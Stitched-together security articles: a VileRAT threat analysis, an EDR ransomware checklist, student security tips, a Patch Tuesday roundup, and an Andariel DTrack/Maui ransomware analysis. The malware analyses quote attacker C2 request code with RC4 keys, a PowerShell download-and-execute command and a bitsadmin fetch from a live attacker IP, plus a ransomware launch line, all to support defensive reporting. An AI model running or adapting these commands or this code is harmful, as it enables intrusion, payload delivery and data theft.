This is the main execution mode for VileRAT. It regularly polls a C2 server for commands to execute. The commands that can be executed are one of those described in this table (RUN_R_SSH_SHELL_ARG, RUN_CMD_AS_USER_ARG, RUN_R_DYN_SSH_ARG), or one of the additional VileRAT internal update commands. CMD_UPDATE_SVC triggers a (partial or complete) VileRAT update from a C2-downloaded package, while CMD_UPDATE_CONF can update internal delays and enable a keylogger if the C2 requires so.

In a typical first execution for VileRAT, as we identified in 2022, the implant is started with the following arguments:

ImagesInfo.exe “[u]” -x -m “EDP CredsTask” -i

Note than in this case, the target identifier that is passed as the first argument is not actually exploited by VileRAT, and may just be used by the attacker to easily identify running VileRAT processes later. Older VileRAT variants were usually launched with explicit “-f” and “-t” command line switches: those are now implicit and enabled by default.

Here is the list of some notable VileRAT changes we spotted as the versions evolved, apart from regular updates to fix code bugs or handle uncaught exceptions, refactor code, update dependencies, and change configuration:

Between versions 2.4 and 2.7, VileRAT dropped the capability to use a remote SSH server as a C2 channel, as well as the screenshot implementation;
In version 3.0, the base64-encoded RC4 key which is used for various encryption routines changed from “Ixada4bxU3G0AgjcX+s0AYndBs4wiviTVIAwDiiEPPA=” to “XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=”, and an additional XOR pass (of Type B) was added in encoding schemes. The VileRAT remote update mechanism was refactored, and an additional command switch (called pmode) was added;
In version 3.7, specific Chrome version and Trezor wallet reconnaissance functions that we initially identified for version 2.4 were removed from the code, and VileRAT lost the ability to update from files provided on the filesystem where it was running;
In version 5.4, the way UUID-type identifiers were generated changed;
In version 6.5, an additional command switch (called jmode) was added;
In version 6.6, “-f” and “-t” command options were enabled by default.

VileRAT HTTP C2 protocol

VileRAT’s main C2 communication loop, as executed during Main C2 client mode (as described in VileRAT functionalities above), is quite straightforward and runs in a separate thread:

Every 2-5 minutes, VileRAT tries to send an HTTP POST request to each of the C2 servers that exist in its configuration, until one replies or until the list is exhausted. Environment data is embedded in a JSON dictionary, which is encrypted using RC4, encoded using the Type B XOR algorithm, base64-encoded and URL-encoded, then finally set as the HTTP request URL path (see Figure 14);
A C2 server may reply with an HTTP response, whose body can include an encoded and encrypted JSON array. If so, the JSON must contain at least a command to execute.
def get_request_data(req_type, xmode, pmode):
data = {
‘type’: ‘svc’,
‘xmode’: xmode,
‘pmode’: pmode,
‘req_type’: req_type,
‘svc_ver’: conf.VERSION,
‘svc_name’: conf.SVC_NAME,
‘ext_uuid’: get_ext_uuid(),
‘svc_uuid’: get_service_uuid(),
‘old_svc_uuid’: get_old_service_uuid(),
‘host’: get_hostname(),
‘uname’: get_username(),
‘ia’: win32.hap(),
‘wv’: win32.gwv(),
‘dt’: datetime.datetime.now().strftime(‘%Y-%m-%d %H-%M-%S’),
‘xn’: os.path.basename(sys.executable)
if req_type == REQ_GET_CMD:
data[‘gc’] = global_conf
data[‘klr’] = keylogger.kl_run
data[‘cr’] = win32.is_process_exist(exe_name=’chrome.exe’)
data[‘avs’] = get_av_list()
elif req_type in [REQ_FIRST_RUN, REQ_INSTALL_DONE]:
data[‘avs’] = get_av_list()
enc_data = quote(b64encode(encrypt_xor(rc4_encrypt(json.dumps(data).encode(‘utf-8’)))), safe=”~()*!.'”)
return enc_data

Figure 14. VileRAT C2 request preparation function

Just as in VileLoader, the User-Agent value in HTTP requests is randomly selected from a fixed list of possible values. The JSON that is passed to the C2 server can be broken down as follows:

Fixed value set to “svc”.
True if VileRAT is executed with the xmode command line switch; false otherwise.
True if VileRAT is executed with the pmode command line switch; false otherwise.
Internal C2 command request type, value can be get_cmd, update_done, screenshot, first_run, install_done or klgr.
Internal VileRAT version number as set in VileRAT’s configuration.
Internal VileRAT implant name as set in VileRAT’s configuration.
Partial value of one of the mutexes VileRAT sets to ensure atomic execution. It can either be the same system UUID as the one collected by VileDropper as part of the target identifier generation, or a hard-coded one.
The target identifier, generated again with the same algorithm used in VileDropper.
A hard-coded value, or the same system UUID as the one collected by VileDropper as part of the target identifier generation, but represented using a different (and presumably older) custom algorithm.
Hostname of the target machine.
Username of the target.
1 if the user running VileRAT has administrator privileges; 0 otherwise.
Windows version, formatted as dwMajorVersion.dwMinorVersion (eg. 10.0).
Timestamp of the HTTP request, formatted as YYYY-MM-DD HH-MM-SS.
VileRAT’s filename.
JSON list of installed security products names (e.g., [“windows defender”, “kaspersky internet security”]), as retrieved from WMI by VileRAT.

The C2 answer is expected as an encoded and encrypted JSON list (leveraging the same coding and cryptographic methods as for the JSON in the HTTP request). Each item in the list must be a JSON dictionary that contains at least a “cmd” key. Its value can be one of: update_svc, ssh_rshell, r_cmd, ssh_rdyn or update_conf. Additional JSON key/value pairs can exist in the dictionary and are passed to internal commands as parameters.

A few words about VileRAT’s infrastructure

We looked for specificities in the C2 domains we could retrieve from the samples gathered (either malicious DOCX files, DOTM files and their macros, VileDropper, VileLoader or VileRAT) and that are described in this report. We ignored domains registered before mid-October 2021 because most of them were already disclosed in public sources (all known malicious domains and IPs are listed in full in the indicators of compromise section below). It should be noted that to date, we have identified hundreds of domains associated with VileRAT’s infection chain.

This allowed us to identify some likely VileRAT-specific infrastructure creation preferences:

Starting from October 2021 at the latest, DeathStalker infrastructure IPs all belong to AS42159 (DELTAHOST UA, located in NL). According to our telemetry, DeathStalker likely started to leverage servers with IP addresses from this AS (along with others) as early as June 2021;
Malicious domain names are often batch-registered (several domains on the same day) at NAMECHEAP, Porkbun LLC or PDR Ltd.;
A lot of malicious domain names try to masquerade as seemingly legitimate digital services providers names (such as “azcloudazure[.]com” or “amzbooks[.]org”), and some denote a possible attempt to leverage events of worldwide interest to conduct attack campaigns (such as “weareukrainepeople[.]com” or “covidsrc[.]com”);
Domain usage seems to be separated most of the time (one domain is used only for either infection DOCX/DOTM, VileLoader or VileRAT), and might indicate a desire by the threat actor to tightly cluster its operations. But all those domains usually point to a very limited set of IP addresses;
A quick analysis of the characteristics of the services exposed on C2 IPs during malicious activities allowed us to note common signatures: the HTTP service sends a combination of content and header values that could only be retrieved for such malicious infrastructure.

VileRAT’s targets

From August 2021 to the present day, using only data that we could check with our own telemetry, we identified 10 compromised or targeted organizations in Bulgaria, Cyprus, Germany, the Grenadines, Kuwait, Malta, the United Arab Emirates and the Russian Federation (see Figure 15).

Figure 15. Map of organizations targeted by DeathStalker’s VileRAT campaign (darker color indicates a higher concentration)

We could not profile all the identified organizations, but half of them were foreign currency (FOREX) and cryptocurrency exchange brokers. Some identified malicious documents and infrastructure domains contain (parts of) the targeted organizations’ names, and confirm this targeting.

It should be noted that the identified organizations range from recent startups to established industry leaders, including dubious cryptocurrency exchange platforms. Locating such organizations is extremely difficult from the limited data we have at hand, because a small FOREX company might, for instance, host its infrastructure in various foreign countries, employ several remote workers from different countries, and be legally based in a tax haven.


When we first discovered VileRAT in June 2020, we initially attributed the implant and associated infection chain to DeathStalker. This first attribution was mainly based on similarities with previously known EVILNUM campaigns (common specific metadata in LNK files, similar TTPs – notably the spear-phishing approach leveraging Google Drive files and fake personas, consistent victimology). The tie between EVILNUM campaigns and DeathStalker has already been demonstrated in our previous article.

We still believe with high confidence that the described updated implants and associated infection chain are developed and operated by DeathStalker:

The main implants (VileLoader, VileRAT) that are leveraged for this campaign are updates of previously analyzed ones, and still share a large majority of code and implementation specifics with previous samples;
The various components of the described infection chain (DOCX, macro-enabled DOTM, VileDropper) share implementation logic and techniques that have previously been leveraged by DeathStalker as part of other campaigns (PowerSing and PowerPepper notably):
Using malicious documents (fetched from emails) as an infection vector;
Signaling infection progress and errors to remote servers;
Using a similarly implemented XOR algorithm for string obfuscation (in DOTM macros, and in previously documented PowerPepper loaders);
Leveraging Office object properties as hidden data sources;
Using similarly implemented hash-like functions with a preset constant (to generate a target identifier in VileDropper, to decode an IP address in PowerSing).


VileRAT, its loader and associated infection chain were continuously and frequently updated for more than two years, and are still leveraged to persistently target foreign currency and cryptocurrency exchange brokers, with a clear intent to escape detection.

Escaping detection has always been a goal for DeathStalker, for as long as we’ve tracked the threat actor. But the VileRAT campaign took this desire to another level: it is undoubtedly the most intricate, obfuscated and tentatively evasive campaign we have ever identified from this actor. From state-of-the-art obfuscation with VBA and JS, to multi-layered and low-level packing with Python, a robust multi-stage in-memory PE loader, and security vendor-specific heuristic bypasses, nothing has been left to chance.

Considering the vast and quickly changing associated infrastructure as well, there is no doubt DeathStalker is making a tremendous effort to develop and maintain accesses. Yet, there are some glitches and inconsistencies: a final payload weighing more than 10MB (VileRAT), simple infection vectors, lots of suspicious communication patterns, noisy and easily identified process executions or file deployments, as well as sketchy development practices leaving bugs and requiring frequent implant updates. As a result, an efficient and properly setup endpoint protection solution will still be able to detect and block most of VileRAT’s related malicious activities.

Putting these facts into perspective, we believe DeathStalker’s tactics and practices are nonetheless sufficient (and have proven to be) to act on soft targets who may not be experienced enough to withstand such a level of determination, who may not have made security one of their organization’s top priorities, or who frequently interact with third parties that did not do so. We still, however, cannot determine what DeathStalker’s principal intention against such targets is: it could range from due diligence, asset recovery, information gathering in the context of litigation or arbitration cases, aiding its customers in working around sanctions and/or spying on the targets’ customers, but it still does not appear to be direct financial gain.

Indicators of compromise

Infection DOCX MD5 hashes


Macro-enabled DOTM remote templates MD5 hashes


VileDropper JavaScript MD5 hashes


VileLoader (stage 1 binary) MD5 hashes


VileRAT (standalone) MD5 hashes


C2 IP addresses

2022-07, and 2021-06 to 07 at least
2022-07 at least
2022-06 at least
2022-05 to 06 at least
2022-04 to 06 at least
2022-03 to 04 at least
2022-03 to 04 at least
2022-03 at least
2022-03 at least
2022-01 to 02 at least
2022-01 to 02 at least
2021-12 to 2022-01 at least
2021-12 at least
2021-11 and 08 at least
2021-11 at least
2021-10 at least
2021-10 at least
2021-09 to 10 at least
2021-09 at least
2021-07 to 09 at least
2020-07 at least
2020-07 at least

C2 domain names

Note: the C2 domain names have been identified in our own telemetry or extracted from malicious files that are described in this article and that we analyzed. The domains may still have previously (or later) been used for legitimate purposes as domains may get reused over time. Even if we could not notice such a conflict up to now, the resolution of a hostname that belongs to such domain must better be checked to match previously listed C2 IP addresses, before concluding it is indicative of a compromise.


Suspected C2 domain names

Note: the suspected C2 domain names have been identified because they were both registered in a similar way than known C2 domain names, AND because associated hostnames pointed to known C2 IP addresses during a timeframe of known malicious activity. While we believe with medium to high confidence the vast majority of these domains have been or could be leveraged by DeathStalker, it is still possible that a few of them never support malicious activities.


[1] This is an expected result from the standard CPython build chain: the build configuration will automatically tag a binary with such version naming if compilation is done from sources that do not match a defined tag (for instance, 3.7.4) or are modified.

[2] All JSON dictionaries required by commands are URL-encoded, base64-encoded, and RC4-encrypted with a base64-encoded RC4 key of “XMpPrh70/0YsN3aPc4Q4VmopzKMGvhzlG4f6vk4LKkI=” (starting from VileRAT 3.0; previous samples use a different key).

VileRAT is a Python implant, part of an evasive and highly intricate attack campaign against foreign exchange and cryptocurrency trading companies.Read More

Can your EDR handle a ransomware attack? 6-point checklist for an anti-ransomware EDR

Most cybersecurity experts agree that having Endpoint Detection and Response software is essential to fighting ransomware today—but not every EDR is equal.

Businesses, especially small-to-medium sized ones with limited budget or IT resources, need to make sure that their EDR is cost-effective, easy-to-use, and able to reliably stop the growing ransomware threat. So precisely what features should SMBs be looking for in an anti-ransomware EDR, and why?

In this post, Robert Zamani, Regional Vice President, Americans Solutions Engineering at Malwarebytes, gives his 6-point checklist of features your EDR should have to stop ransomware.

Table of contents

How should EDR address ransomware?

At its core, ransomware is an exploitation of trust, Zamani says.

“We place our trust in applications to perform only the functions we intended, Operating Systems to perform functions we authorized, and that our credentials (user ID/password) are used only by authorized personnel. Stolen credentials, phishing attacks, zero-day applications, and OS vulnerabilities exploit our trust in endpoints. And since ransomware stems from exploitation of trust, then EDR is not optional when it comes to mitigating a detected threat.”

A risk management strategy states that we cannot eliminate all system vulnerabilities or block all cyberattacks. In other words, your EDR should be optimized to “prevent what you can and mitigate the rest.”

“Since ransomware stems from exploitation of trust, then EDR is not optional when it comes to mitigating a detected threat.”

Robert Zamani, Regional Vice President, Americans Solutions Engineering

1.   Multi-vector Endpoint Protection (EP) is built-in

The base functionality of any EDR is to notify you of any suspicious activity that is taking place on your systems and offer “response” capabilities to mitigate the detection. However, EDR doesn’t inherently do any prevention: It won’t stop the threat from breaching your environment in the first place. 

Relying solely on EDR as a prevention solution will overwhelm your staff and increase operational costs.

That is why anti-ransomware starts with preventing the known bad, Zamani says. Enter Endpoint Protection (EP), an advanced threat prevention solution for endpoints that uses a layered approach with multi-vector detection techniques.

Many EDR vendors will offer EP as a separate offering—usually, these are just file-based scanners looking for possible clues to malware in binary files. This is the minimal functionality of EP and insufficient because there is more that can be prevented, Zamani says.

EP must reduce the attack surface of ransomware through a combination of comprehensive web protection, application hardening, and other “first-layers of defense”. Since most ransomware attacks start with a phishing email, this primary ‘preventative’ type of endpoint protection is essential.

For a budget-friendly way to get the first layer of ransomware protection, look for an EDR with full-stack Endpoint Protection.

EP gives you a “first-layer of defense” against known and unknown malware, ransomware, and other threats.

2. Maintains visibility and patching regularly

Patching is not just system maintenance, Zamani says. According to the Ponemon Institute, 57% of cyberattack victims report that their breaches could have been prevented by installing an available patch. 

“Application and OS vulnerability assessment and patch management solutions are preventative and reduce the ransomware attack surface on endpoints. A good application and OS, vulnerability management solution must automate inventory and severity classification based on CVSS scoring,” Zamani says. “The sorting by severity and grouping by the asset (endpoint) will allow you to prioritize patching the most valuable endpoints.”

In short, make sure your EDR has some sort of vulnerability and patch management component to make it more difficult for ransomware attackers to breach your systems.

3. Has machine learning (ML) to recognize ‘goodware’ instead of malware

A good EDR is looking for a deviation from good behavior, Zamani says. When an application launches and performs in an expected way, we call that an example of good behavior—and when it doesn’t, the administrator gets an alert notifying them of suspicious activity warranting investigation.

Contrast this with an ML model trained to recognize “bad behavior,” where the model finds patterns in datasets of known malware code. On the low side, there are tens of billions of unique malware, so we can safely assume “bad behavior” is seemingly endless.

The larger the dataset of bad behavior, the greater the chances of misinterpreting good behavior as bad, leading to many false positives.

“Indicators of Compromise (IOC) and Indicators of Attack (IOA) are ill-suited for EDR detections. IOC and IOA define bad, and ‘bad’ mutates, creating 100s of billions of possibilities,” Zamani says. Therefore, a modern EDR heuristics engine must be trained on the good behavior of known-good applications.

Dealing with too many false positives costs time and manpower, distracting you from actual security issues like ransomware. Make sure you choose an EDR that detects deviations from known-good applications to reduce false positives that could distract you in your fight against ransomware.

4. Uses standard reference language and forensic analysis

So your EDR has EP and is looking for deviation from known-good behavior to lower false positives—now, it has sent you a notification of a ransomware threat. The next piece of an anti-ransomware EDR is that the information that comes to you should be standardized both in summary and in detail.

“Traditional, older style EDR will use vendor-specific verbiage for describing the attack,” Zamani says. “But in your EDR, you want the TTPs (tools, techniques, and procedures) of threats to be described in plain English with a common reference number.”

The reference number is necessary for documentation purposes, Zamani says. At the same time, the plain-English description is necessary for you to know at what stage an endpoint was ransomed (because a hacker could have exploited a vulnerability in a still-running application).

“In your EDR, you want the TTPs (tools, techniques, and procedures) of threats to be described in plain English with a common reference number.”

Robert Zamani, Regional Vice President, Americans Solutions Engineering

To avoid unnecessary complexity in figuring out the origin of a ransomware threat, your EDR solution should have an industry standardized way of describing the attack—such as MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge).

“Your EDR needs to tell the story of what happened using the standard reference language of MITRE with direct links to the MITRE ATT&CK reference library,” Zamani says. “It should provide a summary using a Kanban board and a separate process graph with detailed forensics of what and how it happened.”

Your EDR should show you alerts that are standardized both in summary and in detail.

5. Thorough containment, eradication, and recovery options

Look to an EDR to mitigate unforeseen threats and ultimately a new method of ransomware (exploitation of trust), says Zamani.

If one of your endpoints gets infected with ransomware, we want to stop the spread as fast as possible, which NIST defines as “containment” in its “Computer Security Incident Handling Guide.”

Containment prevents lateral movement of an attack by allowing you to contain individual machines, processes, or user-IDs and continue active response activities—making quick and easy containment features a must for your EDR.

But the fight doesn’t stop at containment, says Zamani.

“So you’ve contained and studied a threat with your EDR. That’s great,” says Zamani. “But now you want to do remediation. You want to remotely eradicate the ransomware and restore the endpoint to a known-good state free of malware, virus, unwanted programs including unwanted modification.”

But you may ask: Aren’t eradicating and recovering from ransomware the same thing? Not quite, Zamani says.

“Just because you deleted the artifacts does not restore the endpoint into a state where the machine can function. For example, a registry key says the startup sequence is ‘malware first, and then boot.’ So we remove the nasty registry key ‘malware first’, but if you say nothing else, the system won’t boot!”

In other words, your EDR needs instrumentation that not only eradicates ransomware but actually recovers and restores the machine’s state into a functioning state where it can be returned to the network.

“Your ransomware rollback should store changes to data files on the system in a local cache for 72 hours (no ransomware actually exceeds 24 hours), which can be used to help revert changes caused by ransomware,” Zamani says.

6. Searches for ransomware indicators across all your managed endpoints

What if you want to see if the same ransomware threat you discovered on one of your endpoints is in the early stages of the attack on other endpoints?

“Your EDR should have a search engine that can look at any of the TTPs and search across your network,” Zamani says. “Because you want to see if you can catch something early enough before it hits the point of ransom.”

Look for an EDR that can search data like files, registry, processes, and networking activity so you can threat hunt or analyze how a ransomware compromise occurred in your environment.

Businesses need an EDR that immediately detects and responds to ransomware threats

In this post, cybersecurity expert Robert Zamani explained the features SMBs should look for in an anti-ransomware EDR and why.

Of course, the fight against ransomware doesn’t stop at EDR: you still good cyber hygiene with a well-written and practiced Incident Response Plan (IRP). Looking to further empower your business in the fight against ransomware?

Read our “A Defender’s Guide to Ransomware Resilience” eBook!

More resources

Ransomware protection with Malwarebytes EDR: Your FAQs, answered!

Simplifying the fight against ransomware: An expert explains

Demo: Your data has been encrypted! Stopping ransomware attacks with Malwarebytes EDR

5 cybersecurity tips for students going back to school

The new school season is just around the corner. And while you are getting ready to go back to school, now is a good opportunity to check you are doing all you can to stay as safe as possible online.

Make sure you are doing these five things:

1. Use multi-factor authentication (MFA)

MFA has become a necessary security measure in a world where passwords still rule. It’s added security for your school-related accounts—and actually any online accounts you have, including social media.

MFA is an additional layer of security, after you enter your username and password. This could be a code generated by an app, a push notification you need to accept, a physical key you plug into your computer, or similar.

Use it wherever it is offered to you. Yes, it makes logging in take slightly longer, but it really does make your accounts safer.

2. Use strong passwords

By “strong”, we mean the best possible password string you can come up. If, for example, your school IT administrator sets a maximum password length of 10 and allows a mix of alphabets and numbers, then make your password 10 characters long with the maximum complexity you can.

And while we’re on the subject of passwords, remember to use a unique password for each of your online accounts. If you use the same email and password combination for every account, then if one gets breached you have to assume they have all been breached.

Of course, it’s impossible to remember a strong password for every account you have. This is where password managers come in. They can generate passwords for you, and will remember them all too. Just make sure you use a super strong password for your password manager itself, and protect it with MFA.

Lastly, never share passwords with anyone.

3. Be wary of links and attachments

When it comes to phishing and malware campaigns, danger doesn’t just lurk in emails. It’s on social media, SMS, chat platforms, gaming platforms, and other online watering holes, too.

Remember: if someone sends you an unsolicited link or attachment, you’re right to be suspicious. Treat it as suspect, and always verify with the sender if they’re someone you know, preferably via other means than the medium with which you received the link or attachment.

4. Share with caution

Students can do this in (at least) three ways:

Limit what you share. Don’t give away personal details on social media, including those which tie you to your school.
Be smart about what information you allow apps to access. Does that calendar app really need access to your location?
For high school and college students, think twice before sharing private photos with someone. Consider that they may be shared with others, and how you might feel if that happened.

5. Lock down your files

The school does its part to secure your most important data, but you have a part to play, too.

You can start by locking down the devices you bring to school, such as your smartphone and laptop. Make sure there’s at least a password or code that stops anyone from casually picking up your device, and then opening it.

If you use the cloud to store files, learn how to secure that properly—the cloud-of-your-choice will have a guide on that. Remember, the cloud can only be as secure as you, the user, makes it.

It’s easy when you know how

Thankfully, securing data doesn’t get any more complicated for regular users than the five tips we have listed above. Remain vigilant and remind yourself that cybersecurity and privacy are shared goals and responsibilities. Students should do their part in the same way that your school’s IT team is doing theirs.

Stay safe, and have a pleasant, risk-free school year ahead!

Microsoft Patch Tuesday, August 2022 Edition

Microsoft today released updates to fix a record 141 security vulnerabilities in its Windows operating systems and related software. Once again, Microsoft is patching a zero-day vulnerability in the Microsoft Support Diagnostics Tool (MSDT), a service built into Windows. Redmond also addressed multiple flaws in Exchange Server — including one that was disclosed publicly prior to today — and it is urging organizations that use Exchange for email to update as soon as possible and to enable additional protections.

In June, Microsoft patched a vulnerability in MSDT dubbed “Follina” that had been used in active attacks for at least three month prior. This latest MSDT bug — CVE-2022-34713 — is a remote code execution flaw that requires convincing a target to open a booby-trapped file, such as an Office document. Microsoft this month also issued a different patch for another MSDT flaw, tagged as CVE-2022-35743.

The publicly disclosed Exchange flaw is CVE-2022-30134, which is an information disclosure weakness. Microsoft also released fixes for three other Exchange flaws that rated a “critical” label, meaning they could be exploited remotely to compromise the system and with no help from users. Microsoft says addressing some of the Exchange vulnerabilities fixed this month requires administrators to enable Windows Extended protection on Exchange Servers. See Microsoft’s blog post on the Exchange Server updates for more details.

“If your organization runs local exchange servers, this trio of CVEs warrant an urgent patch,” said Kevin Breen, director of cyber threat research for Immerse Labs. “Exchanges can be treasure troves of information, making them valuable targets for attackers. With CVE-2022-24477, for example, an attacker can gain initial access to a user’s host and could take over the mailboxes for all exchange users, sending and reading emails and documents. For attackers focused on Business Email Compromise this kind of vulnerability can be extremely damaging.”

The other two critical Exchange bugs are tracked as CVE-2022-24516 and CVE-2022-21980. It’s difficult to believe it’s only been a little more than a year since malicious hackers worldwide pounced in a bevy of zero-day Exchange vulnerabilities to remotely compromise the email systems for hundreds of thousands of organizations running Exchange Server locally for email. That lingering catastrophe is reminder enough that critical Exchange bugs deserve immediate attention.

The SANS Internet Storm Center‘s rundown on Patch Tuesday warns that a critical remote code execution bug in the Windows Point-to-Point Protocol (CVE-2022-30133) could become “wormable” — a threat capable of spreading across a network without any user interaction.

“Another critical vulnerability worth mentioning is an elevation of privilege affecting Active Directory Domain Services (CVE-2022-34691),” SANS wrote. “According to the advisory, ‘An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege to System.’ A system is vulnerable only if Active Directory Certificate Services is running on the domain. The CVSS for this vulnerability is 8.8.”

Breen highlighted a set of four vulnerabilities in Visual Studio that earned Microsoft’s less-dire “important” rating but that nevertheless could be vitally important for the security of developer systems.

“Developers are empowered with access to API keys and deployment pipelines that, if compromised, could be significantly damaging to organizations,” he said. “So it’s no surprise they are often targeted by more advanced attackers. Patches for their tools should not be overlooked. We’re seeing a continued trend of supply-chain compromise too, making it vital that we ensure developers, and their tools, are kept up-to-date with the same rigor we apply to standard updates.”

Greg Wiseman, product manager at Rapid7, pointed to an interesting bug Microsoft patched in Windows Hello, the biometric authentication mechanism for Windows 10.  Microsoft notes that the successful exploitation of the weakness requires physical access to the target device, but would allow an attacker to bypass a facial recognition check.

Wiseman said despite the record number of vulnerability fixes from Redmond this month, the numbers are slightly less dire.

“20 CVEs affect their Chromium-based Edge browser and 34 affect Azure Site Recovery (up from 32 CVEs affecting that product last month),” Wiseman wrote. “As usual, OS-level updates will address a lot of these, but note that some extra configuration is required to fully protect Exchange Server this month.”

As it often does on Patch Tuesday, Adobe has also released security updates for many of its products, including Acrobat and Reader, Adobe Commerce and Magento Open Source. More details here.

As always, please consider backing up your system or at least your important documents and data before applying system updates. And if you run into any problems with these updates, please drop a note about it here in the comments.

Microsoft today released updates to fix a record 141 security vulnerabilities in its Windows operating systems and related software. Once again, Microsoft is patching a zero-day vulnerability in the Microsoft Support Diagnostics Tool (MSDT), a service built into Windows. Redmond also addressed multiple flaws in Exchange Server — including one that was disclosed publicly prior to today — and it is urging organizations that use Exchange for email to update as soon as possible and to enable additional protections.Read More

Andariel deploys DTrack and Maui ransomware

On July 7, 2022, the CISA published an alert, entitled, “North Korean State-Sponsored Cyber Actors Use Maui Ransomware To Target the Healthcare and Public Health Sector,” related to a Stairwell report, “Maui Ransomware.” Later, the Department of Justice announced that they had effectively clawed back $500,000 in ransom payments to the group, partly thanks to new legislation. We can confirm a Maui ransomware incident in 2022, and add some incident and attribution findings.

We extend their “first seen” date from the reported May 2021 to April 15th 2021, and the geolocation of the target, to Japan. Because the malware in this early incident was compiled on April 15th, 2021, and compilation dates are the same for all known samples, this incident is possibly the first ever involving the Maui ransomware.

While CISA provides no useful information in its report to attribute the ransomware to a North Korean actor, we determined that approximately ten hours prior to deploying Maui to the initial target system, the group deployed a variant of the well-known DTrack malware to the target, preceded by 3proxy months earlier. This data point, along with others, should openly help solidify the attribution to the Korean-speaking APT Andariel, also known as Silent Chollima and Stonefly, with low to medium confidence.


We observed the following timeline of detections from an initial target system:

2020-12-25 Suspicious 3proxy tool
2021-04-15 DTrack malware
2021-04-15 Maui ransomware

DTrack malware

Link time
2021-03-30 02:29:15
File type
PE32 executable (GUI) Intel 80386, for MS Windows
VS2008 build 21022
File size
1.2 MB
File name

Once this malware is spawned, it executes an embedded shellcode, loading a final Windows in-memory payload. This malware is responsible for collecting victim information and sending it to the remote host. Its functionality is almost identical to previous DTrack modules. This malware collects information about the infected host via Windows commands. The in-memory payload executes the following Windows commands:

“C:Windowssystem32cmd.exe” /c ipconfig /all > “%Temp%tempres.ip”
“C:Windowssystem32cmd.exe” /c tasklist > “%Temp%temptask.list”
“C:Windowssystem32cmd.exe” /c netstat -naop tcp > “%Temp%tempnetstat.res”
“C:Windowssystem32cmd.exe” /c netsh interface show interface >
“C:Windowssystem32cmd.exe” /c ping -n 1 > “%Temp%tempping.res”

In addition, the malware collects browser history data, saving it to the browser.his file, just as the older variant did. Compared to the old version of DTrack, the new information-gathering module sends stolen information to a remote server over HTTP, and this variant copies stolen files to the remote host on the same network.

Maui ransomware

The Maui ransomware was detected ten hours after the DTrack variant on the same server.

Link time
2021-04-15 04:36:00
File type
PE32 executable (GUI) Intel 80386, for MS Windows
File size
763.67 KB
 File name

Multiple run parameters exist for the Maui ransomware. In this incident, we observe the actors using “-t” and “- x” arguments, along with a specific drive path to encrypt:

C:WindowsTemptempbinMaui.exe -t 8 -x E:

In this case, “-t 8” sets the ransomware thread count to eight, “-x” commands the malware to “self melt”, and the “E:” value sets the path (the entire drive in this case) to be encrypted. The ransomware functionality is the same as described in the Stairwell report.

The malware created two key files to implement file encryption:

RSA private key
RSA public key

Similar DTrack malware on different victims

Pivoting on the exfiltration information to the adjacent hosts, we discovered additional victims in India. One of these hosts was initially compromised in February 2021. In all likelihood, Andariel stole elevated credentials to deploy this malware within the target organization, but this speculation is based on paths and other artifacts, and we do not have any further details.

Link time
2021-02-22 05:36:16
File type
PE32 executable (GUI) Intel 80386, for MS Windows
File size
848 KB

The primary objective of this malware is the same as in the case of the aforementioned victim in Japan, using different login credentials and local IP address to exfiltrate data.

Windows commands to exfiltrate data

From the same victim, we discovered additional DTrack malware (MD5 87e3fc08c01841999a8ad8fe25f12fe4) using different login credentials.

Additional DTrack module and initial infection method

The “3Proxy” tool, likely utilized by the threat actor, was compiled on 2020-09-09 and deployed to the victim on 2020-12-25. Based on this detection and compilation date, we expanded our research scope and discovered an additional DTrack module. This module was compiled 2020-09-16 14:16:21 and detected in early December 2020, having a similar timeline to the 3Proxy tool deployment.

Link time
2020-09-16 14:16:21
File type
PE32 executable (GUI) Intel 80386, for MS Windows
VS2008 build 21022
File size
136 KB
File name

This DTrack module is very similar to the EventTracKer module of DTrack, which was previously reported to our Threat Intelligence customers. In one victim system, we discovered that a well-known simple HTTP server, HFS7, had deployed the malware above. After an unknown exploit was used on a vulnerable HFS server and “whoami” was executed, the Powershell command below was executed to fetch an additional Powershell script from the remote server:

C:windowssystem32WindowsPowershellv1.0powershell.exe IEX (New-Object Net.WebClient).DownloadString(‘hxxp://145.232.235[.]222/usr/users/mini.ps1’)

The mini.ps1 script is responsible for downloading and executing the above DTrack malware via bitsadmin.exe:

bitsadmin.exe /transfer myJob /download /priority high
“hxxp://145.232.235[.]222/usr/users/dwem.cert” “%appdata%microsoftmmcdwem.cert”

The other victim operated a vulnerable Weblogic server. According to our telemetry, the actor compromised this server via the CVE-2017-10271 exploit. We saw Andariel abuse identical exploits and compromise WebLogic servers in mid-2019, and previously reported this activity to our Threat Intelligence customers. In this case, the exploited server executes the Powershell command to fetch the additional script. The fetched script is capable of downloading a Powershell script from the server we mentioned above (hxxp://145.232.235[.]222/usr/users/mini.ps1). Therefore, we can summarize that the actor abused vulnerable Internet-facing services to deploy their malware at least until the end of 2020.


The July 2022 CISA alert noted that the healthcare and public health sectors had been targeted with the Maui ransomware within the US. However, based on our research, we believe this operation does not target specific industries and that its reach is global. We can confirm that the Japanese housing company was targeted with the Maui ransomware on April 15, 2021. Also, victims from India, Vietnam, and Russia were infected within a similar timeframe by the same DTrack malware as used in the Japanese Maui incident: from the end of 2020 to early 2021.

Our research suggests that the actor is rather opportunistic and could compromise any company around the world, regardless of their line of business, as long as it enjoys good financial standing. It is probable that the actor favors vulnerable Internet-exposed web services. Additionally, the Andariel deployed ransomware selectively to make financial profits.


According to the Kaspersky Threat Attribution Engine (KTAE), the DTrack malware from the victim contains a high degree of code similarity (84%) with previously known DTrack malware.

Also, we discovered that the DTrack malware (MD5 739812e2ae1327a94e441719b885bd19) employs the same shellcode loader as “Backdoor.Preft” malware (MD5 2f553cba839ca4dab201d3f8154bae2a), published/reported by Symantec – note that Symantec recently described the Backdoor.Preft malware as “aka Dtrack, Valefor”. Apart from the code similarity, the actor used 3Proxy tool (MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb), and that tool was also previously employed by the Andariel/StoneFly/Silent Chollima group (MD5 95247511a611ba3d8581c7c6b8b1a38a). Symantec attributes StoneFly as the North Korean-linked actor behind the DarkSeoul incident.


Based on the modus operandi of this attack, we conclude that the actor’s TTPs behind the Maui ransomware incident is remarkably similar to past Andariel/Stonefly/Silent Chollima activity:

Using legitimate proxy and tunneling tools after initial infection or deploying them to maintain access, and using Powershell scripts and Bitsadmin to download additional malware;
Using exploits to target known but unpatched vulnerable public services, such as WebLogic and HFS;
